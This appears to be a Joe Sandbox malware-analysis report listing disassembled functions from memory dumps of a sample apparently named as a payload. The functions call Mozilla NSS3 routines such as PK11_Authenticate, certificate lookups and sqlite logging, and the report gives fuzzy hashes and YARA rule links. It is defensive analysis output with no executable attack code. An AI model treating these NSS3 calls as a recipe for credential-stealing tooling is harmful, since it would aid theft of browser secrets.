Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C41CE40

Part of subcall function 6C4114C0: TlsGetValue.KERNEL32 ref: 6C4114E0
Part of subcall function 6C4114C0: EnterCriticalSection.KERNEL32 ref: 6C4114F5
Part of subcall function 6C4114C0: PR_Unlock.NSS3 ref: 6C41150D

Part of subcall function 6C41CEE0: PORT_ArenaMark_Util.NSS3(?,6C41CD93,?), ref: 6C41CEEE
Part of subcall function 6C41CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C41CD93,?), ref: 6C41CEFC
Part of subcall function 6C41CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C41CD93,?), ref: 6C41CF0B
Part of subcall function 6C41CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C41CD93,?), ref: 6C41CF1D

Part of subcall function 6C41CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C41CD93,?), ref: 6C41CF47
Part of subcall function 6C41CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C41CD93,?), ref: 6C41CF67
Part of subcall function 6C41CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C41CD93,?,?,?,?,?,?,?,?,?,?,?,6C41CD93,?), ref: 6C41CF78

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: e885b21d47eb1323761886b5f03f2d4c2c5c175543a0261a71a592c247d0f9fe
Instruction ID: 2493edac942b217631d84d5356649742c180b1b3a4d8588dfe81c12cfbd6486d
Opcode Fuzzy Hash: e885b21d47eb1323761886b5f03f2d4c2c5c175543a0261a71a592c247d0f9fe
Instruction Fuzzy Hash: 8F51AFB6A042009BEB10EF69DC40FBA77F4AF48349F250538D889A7F40EB31E905CB95

Function 6C3EEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C3EEF38

Part of subcall function 6C3D9520: PK11_IsLoggedIn.NSS3(00000000,?,6C40379E,?,00000001,?), ref: 6C3D9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C3EEF53

Part of subcall function 6C3F4C20: TlsGetValue.KERNEL32 ref: 6C3F4C4C
Part of subcall function 6C3F4C20: EnterCriticalSection.KERNEL32(?), ref: 6C3F4C60
Part of subcall function 6C3F4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4CA1
Part of subcall function 6C3F4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C3F4CBE
Part of subcall function 6C3F4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4CD2
Part of subcall function 6C3F4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4D3A

PR_GetCurrentThread.NSS3 ref: 6C3EEF9E

Part of subcall function 6C479BF0: TlsGetValue.KERNEL32(?,?,?,6C4C0A75), ref: 6C479C07

free.MOZGLUE(00000000), ref: 6C3EEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C3EF016
free.MOZGLUE(00000000), ref: 6C3EF022

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: b8494681440206515c00419645f7d59ace3398c3081ff07290211b3d9d968986
Instruction ID: c66d0733fe90fffb708e1e2c4fce332594b41abf151e1bb9e40a83c1156c5a6d
Opcode Fuzzy Hash: b8494681440206515c00419645f7d59ace3398c3081ff07290211b3d9d968986
Instruction Fuzzy Hash: 5B419571E00209ABDF018FA9DC45BEE7BB9EF4C358F05402AF914A6351E772D9158FA1

Function 6C3DCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C3DCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C3DD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C3DD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3DD025
PR_NewLock.NSS3 ref: 6C3DD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C3DD074

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 67831e0f4851e68f7ac6a493f219dc59fecbf522c200b8a7738ba31e45e68c3c
Instruction ID: 1536c2978548a8a0a588fb191c5d99480d7a23a12e0a5faa531036083df62369
Opcode Fuzzy Hash: 67831e0f4851e68f7ac6a493f219dc59fecbf522c200b8a7738ba31e45e68c3c
Instruction Fuzzy Hash: A741C3B2A012019FDB10DF29D880BD67BA4EF48318F164169EC198BB46D771E489CFF2

Function 6C3C2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C3B2D1A), ref: 6C3C2E7E

Part of subcall function 6C4107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C3B8298,?,?,?,6C3AFCE5,?), ref: 6C4107BF
Part of subcall function 6C4107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C4107E6
Part of subcall function 6C4107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C41081B
Part of subcall function 6C4107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C410825

PR_Now.NSS3 ref: 6C3C2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C3C2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C3B2D1A), ref: 6C3C2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C3B2D1A), ref: 6C3C2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C3C2F81

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 1b4c041a71bfcd4050c50e0748e8792ef991e67594d68d737177e715f3a01019
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: EA3125717011088BF710D665CD48FAE7269EF80318F24157AD42997ED0EB339C46CE63

Function 6C2EDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C2EDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C2ED38A,?), ref: 6C2EDC6F
free.MOZGLUE(?,?,?,?,?,6C2ED38A,?), ref: 6C2EDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C2ED38A,?), ref: 6C2EDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C2ED38A,?), ref: 6C2EDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C2ED38A,?), ref: 6C2EDD4A

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 661c03d925ae1082a1f20a31b757f863850208067090ca1527aa4dd85613fcaf
Instruction ID: 5e755985028795c20511ada11fd3207a9628cb08687bf75cad4eb4a882b5d3ad
Opcode Fuzzy Hash: 661c03d925ae1082a1f20a31b757f863850208067090ca1527aa4dd85613fcaf
Instruction Fuzzy Hash: 6C4115B5A0061A8FCB40CF99C88099AB7B6FF8D318B954569ED46ABB11D771FC00CB90

Function 6C3B0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C3B0A2C), ref: 6C3B0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C3B0A2C), ref: 6C3B0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C3B0A2C), ref: 6C3B0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C3B0A2C), ref: 6C3B0E90
free.MOZGLUE(00000000), ref: 6C3B0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C3B0A2C), ref: 6C3B0ED9

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 993c75120b4e2a99d7979c04574c040472efb85584bf40e5bf9e2aa35045ed8d
Instruction ID: 6b17685ca1cdfa231844ae35c6e4a2c3a8a19a3832cd77da432aad2bf8891093
Opcode Fuzzy Hash: 993c75120b4e2a99d7979c04574c040472efb85584bf40e5bf9e2aa35045ed8d
Instruction Fuzzy Hash: AE212CF2F00A845BEB0085659E85F6B76AEDBE164CF190035F81877E12EB71D8158AA2

Function 6C3BAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C3BAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C3BAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3BAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C3BAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C4D9500), ref: 6C3BAF23

Part of subcall function 6C40F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C40F0C8
Part of subcall function 6C40F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C40F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C3BAF37

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 4fd24dda0ee17d885e9813ae6e1cf4da24a4b9c2b449506faddc39318e9264f6
Instruction ID: a804e36fabb624323659039f5faff978fe322ec6d975abfd7acbb10dbed98411
Opcode Fuzzy Hash: 4fd24dda0ee17d885e9813ae6e1cf4da24a4b9c2b449506faddc39318e9264f6
Instruction Fuzzy Hash: 31214C72A096006BEB108F189C01FDA77E4AF9572CF144319FC54ABB81E732D5088BE7

Function 6C43EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C43EE85
realloc.MOZGLUE(640C1353,?), ref: 6C43EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C43EEC5

Part of subcall function 6C410BE0: malloc.MOZGLUE(6C408D2D,?,00000000,?), ref: 6C410BF8
Part of subcall function 6C410BE0: TlsGetValue.KERNEL32(6C408D2D,?,00000000,?), ref: 6C410C15

htonl.WSOCK32(?), ref: 6C43EEE3
htonl.WSOCK32(00000000,?), ref: 6C43EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C43EF01

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 89404cfe343c7f2678f28e46369a2bc17aac7bb612013093c875167978abb755
Instruction ID: 1b92904e07916101be2f59ddcd568dd6e35df3e41fec8803acb77e3025d4022a
Opcode Fuzzy Hash: 89404cfe343c7f2678f28e46369a2bc17aac7bb612013093c875167978abb755
Instruction Fuzzy Hash: EF21AD31A012249FCB10DF29DCC1E9AB7A4EF89758F158169EC199B791E730EC14CBE6

Function 6C3EEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C3EEE49

Part of subcall function 6C40FAB0: free.MOZGLUE(?,-00000001,?,?,6C3AF673,00000000,00000000), ref: 6C40FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C3EEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C3EEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C3EEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C3EEEB3

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: c4d8ff3d441d43b2884d7f4dffa00a5df433474572295a781659a4d79eddf59a
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: EA21C3B7A003206BEB118F58EC81EAB77A8AF49708F050175FD049B352E672EC148BF1

Function 6C446840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C44AA9B,?,?,?,?,?,?,?,00000000,?,6C4480C1), ref: 6C446846

Part of subcall function 6C3A1770: calloc.MOZGLUE(00000001,0000019C,?,6C3A15C2,?,?,?,?,?,00000001,00000040), ref: 6C3A178D

PR_NewMonitor.NSS3(00000000,?,6C44AA9B,?,?,?,?,?,?,?,00000000,?,6C4480C1), ref: 6C446855

Part of subcall function 6C408680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C3B55D0,00000000,00000000), ref: 6C40868B
Part of subcall function 6C408680: PR_NewLock.NSS3(00000000,00000000), ref: 6C4086A0
Part of subcall function 6C408680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C4086B2
Part of subcall function 6C408680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C4086C8
Part of subcall function 6C408680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C4086E2
Part of subcall function 6C408680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C4086EC
Part of subcall function 6C408680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C408700

PR_NewMonitor.NSS3(?,6C44AA9B,?,?,?,?,?,?,?,00000000,?,6C4480C1), ref: 6C44687D

Part of subcall function 6C3A1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C3A18DE
Part of subcall function 6C3A1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C3A18F1

PR_NewMonitor.NSS3(?,6C44AA9B,?,?,?,?,?,?,?,00000000,?,6C4480C1), ref: 6C44688C

Part of subcall function 6C3A1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C3A18FC
Part of subcall function 6C3A1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C3A198A

PR_NewLock.NSS3 ref: 6C4468A5

Part of subcall function 6C4798D0: calloc.MOZGLUE(00000001,00000084,6C3A0936,00000001,?,6C3A102C), ref: 6C4798E5

PR_NewLock.NSS3 ref: 6C4468B4

Part of subcall function 6C4798D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C479946
Part of subcall function 6C4798D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3316B7,00000000), ref: 6C47994E
Part of subcall function 6C4798D0: free.MOZGLUE(00000000), ref: 6C47995E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 5f765f59f8f4f2ff251a0d032ed3b7ea0a10f3a40aad3851f19115649e46ac50
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: DD01ECB5602B0686F751AB754810FE777E4DF06289F24443D84A9C5B40EF61D40C8BA2

Function 6C39AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C39AFDA

Strings

misuse, xrefs: 6C39AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C39AF5C
%s at line %d of [%.10s], xrefs: 6C39AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C39AFC4

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 8685fcec5015913841a43100d09124c6cbb4d541326828e934b93113215a13bc
Instruction ID: 506708bec005846ac52b5330232327d9a1407e8af0844781d3269c56266a3d93
Opcode Fuzzy Hash: 8685fcec5015913841a43100d09124c6cbb4d541326828e934b93113215a13bc
Instruction Fuzzy Hash: C491F275E052158FDB04CF69C850BAAB7F1BF49318F1942A8E866AB791E735EC01CF60

Function 6C2CF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C2CF480

Part of subcall function 6C29F100: LoadLibraryW.KERNEL32(shell32,?,6C30D020), ref: 6C29F122
Part of subcall function 6C29F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C29F132

CloseHandle.KERNEL32(00000000), ref: 6C2CF555

Part of subcall function 6C2A14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C2A1248,6C2A1248,?), ref: 6C2A14C9
Part of subcall function 6C2A14B0: memcpy.VCRUNTIME140(?,6C2A1248,00000000,?,6C2A1248,?), ref: 6C2A14EF

Part of subcall function 6C29EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C29EEE3

CreateFileW.KERNEL32 ref: 6C2CF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C2CF523

Strings

\oleacc.dll, xrefs: 6C2CF4CB

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
